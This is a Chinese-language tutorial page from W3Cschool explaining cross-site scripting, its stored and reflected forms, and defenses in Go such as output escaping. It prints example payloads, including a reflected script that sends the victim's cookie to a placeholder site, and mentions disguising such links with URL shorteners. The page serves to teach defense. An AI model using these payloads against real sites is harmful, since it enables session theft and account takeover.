W3Cschool
恭喜您成為首批注冊(cè)用戶
獲得88經(jīng)驗(yàn)值獎(jiǎng)勵(lì)
隨著互聯(lián)網(wǎng)技術(shù)的發(fā)展,現(xiàn)在的Web應(yīng)用都含有大量的動(dòng)態(tài)內(nèi)容以提高用戶體驗(yàn)。所謂動(dòng)態(tài)內(nèi)容,就是應(yīng)用程序能夠根據(jù)用戶環(huán)境和用戶請(qǐng)求,輸出相應(yīng)的內(nèi)容。動(dòng)態(tài)站點(diǎn)會(huì)受到一種名為“跨站腳本攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫(xiě)成 XSS)的威脅,而靜態(tài)站點(diǎn)則完全不受其影響。
XSS攻擊:跨站腳本攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫(xiě)混淆,故將跨站腳本攻擊縮寫(xiě)為XSS。XSS是一種常見(jiàn)的web安全漏洞,它允許攻擊者將惡意代碼植入到提供給其它用戶使用的頁(yè)面中。不同于大多數(shù)攻擊(一般只涉及攻擊者和受害者),XSS涉及到三方,即攻擊者、客戶端與Web應(yīng)用。XSS的攻擊目標(biāo)是為了盜取存儲(chǔ)在客戶端的cookie或者其他網(wǎng)站用于識(shí)別客戶端身份的敏感信息。一旦獲取到合法用戶的信息后,攻擊者甚至可以假冒合法用戶與網(wǎng)站進(jìn)行交互。
XSS通??梢苑譃閮纱箢悾阂活愂谴鎯?chǔ)型XSS,主要出現(xiàn)在讓用戶輸入數(shù)據(jù),供其他瀏覽此頁(yè)的用戶進(jìn)行查看的地方,包括留言、評(píng)論、博客日志和各類表單等。應(yīng)用程序從數(shù)據(jù)庫(kù)中查詢數(shù)據(jù),在頁(yè)面中顯示出來(lái),攻擊者在相關(guān)頁(yè)面輸入惡意的腳本數(shù)據(jù)后,用戶瀏覽此類頁(yè)面時(shí)就可能受到攻擊。這個(gè)流程簡(jiǎn)單可以描述為:惡意用戶的Html輸入Web程序->進(jìn)入數(shù)據(jù)庫(kù)->Web程序->用戶瀏覽器。另一類是反射型XSS,主要做法是將腳本代碼加入U(xiǎn)RL地址的請(qǐng)求參數(shù)里,請(qǐng)求參數(shù)進(jìn)入程序后在頁(yè)面直接輸出,用戶點(diǎn)擊類似的惡意鏈接就可能受到攻擊。
XSS目前主要的手段和目的如下:
Web應(yīng)用未對(duì)用戶提交請(qǐng)求的數(shù)據(jù)做充分的檢查過(guò)濾,允許用戶在提交的數(shù)據(jù)中摻入HTML代碼(最主要的是“>”、“<”),并將未經(jīng)轉(zhuǎn)義的惡意代碼輸出到第三方用戶的瀏覽器解釋執(zhí)行,是導(dǎo)致XSS漏洞的產(chǎn)生原因。
接下來(lái)以反射性XSS舉例說(shuō)明XSS的過(guò)程:現(xiàn)在有一個(gè)網(wǎng)站,根據(jù)參數(shù)輸出用戶的名稱,例如訪問(wèn)url:http://127.0.0.1/?name=astaxie
,就會(huì)在瀏覽器輸出如下信息:
hello astaxie
如果我們傳遞這樣的url:http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>
,這時(shí)你就會(huì)發(fā)現(xiàn)瀏覽器跳出一個(gè)彈出框,這說(shuō)明站點(diǎn)已經(jīng)存在了XSS漏洞。那么惡意用戶是如何盜取Cookie的呢?與上類似,如下這樣的url:http://127.0.0.1/?name=<script>document.location.+document.cookie</script>
,這樣就可以把當(dāng)前的cookie發(fā)送到指定的站點(diǎn):www.xxx.com。你也許會(huì)說(shuō),這樣的URL一看就有問(wèn)題,怎么會(huì)有人點(diǎn)擊?,是的,這類的URL會(huì)讓人懷疑,但如果使用短網(wǎng)址服務(wù)將之縮短,你還看得出來(lái)么?攻擊者將縮短過(guò)后的url通過(guò)某些途徑傳播開(kāi)來(lái),不明真相的用戶一旦點(diǎn)擊了這樣的url,相應(yīng)cookie數(shù)據(jù)就會(huì)被發(fā)送事先設(shè)定好的站點(diǎn),這樣子就盜得了用戶的cookie信息,然后就可以利用Websleuth之類的工具來(lái)檢查是否能盜取那個(gè)用戶的賬戶。
更加詳細(xì)的關(guān)于XSS的分析大家可以參考這篇叫做《新浪微博XSS事件分析》的文章。
答案很簡(jiǎn)單,堅(jiān)決不要相信用戶的任何輸入,并過(guò)濾掉輸入中的所有特殊字符。這樣就能消滅絕大部分的XSS攻擊。
目前防御XSS主要有如下幾種方式:
過(guò)濾特殊字符
避免XSS的方法之一主要是將用戶所提供的內(nèi)容進(jìn)行過(guò)濾,Go語(yǔ)言提供了HTML的過(guò)濾函數(shù):
text/template包下面的HTMLEscapeString、JSEscapeString等函數(shù)
使用HTTP頭指定類型
w.Header().Set("Content-Type","text/javascript")
這樣就可以讓瀏覽器解析javascript代碼,而不會(huì)是html輸出。
XSS漏洞是相當(dāng)有危害的,在開(kāi)發(fā)Web應(yīng)用的時(shí)候,一定要記住過(guò)濾數(shù)據(jù),特別是在輸出到客戶端之前,這是現(xiàn)在行之有效的防止XSS的手段。
Copyright©2021 w3cschool編程獅|閩ICP備15016281號(hào)-3|閩公網(wǎng)安備35020302033924號(hào)
違法和不良信息舉報(bào)電話:173-0602-2364|舉報(bào)郵箱:jubao@eeedong.com
掃描二維碼
下載編程獅App
編程獅公眾號(hào)
聯(lián)系方式:
更多建議: